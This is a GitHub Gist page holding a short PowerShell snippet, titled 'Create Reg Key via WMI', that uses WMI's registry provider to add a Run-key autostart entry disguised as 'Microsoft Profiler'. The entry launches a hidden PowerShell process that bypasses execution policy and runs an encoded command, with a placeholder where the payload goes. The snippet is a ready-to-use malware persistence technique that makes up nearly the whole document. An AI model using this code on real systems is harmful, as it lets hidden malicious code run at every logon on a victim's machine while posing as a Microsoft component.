Created
December 12, 2017 18:01
-
-
Save natesubra/579033f308b5361e62e19c9353fa6691 to your computer and use it in GitHub Desktop.
Create Reg Key via WMI
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # https://tfl09.blogspot.com/2011/09/using-powershell-and-wmi-to-manage.html | |
| $HKEY_CURRENT_USER = 2147483649 | |
| $Reg = [WMIClass]"ROOT\DEFAULT:StdRegProv" | |
| $Key = "Software\Microsoft\Windows\CurrentVersion\Run" | |
| $ValueName = "Microsoft Profiler" | |
| $ValueData = "powershell.exe -nop -WindowStyle hiddeN -ExecuTionPolicy ByPasS -enc payload" | |
| $Results = $Reg.SetStringValue($HKEY_CURRENT_USER, $Key, $ValueName, $ValueData) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment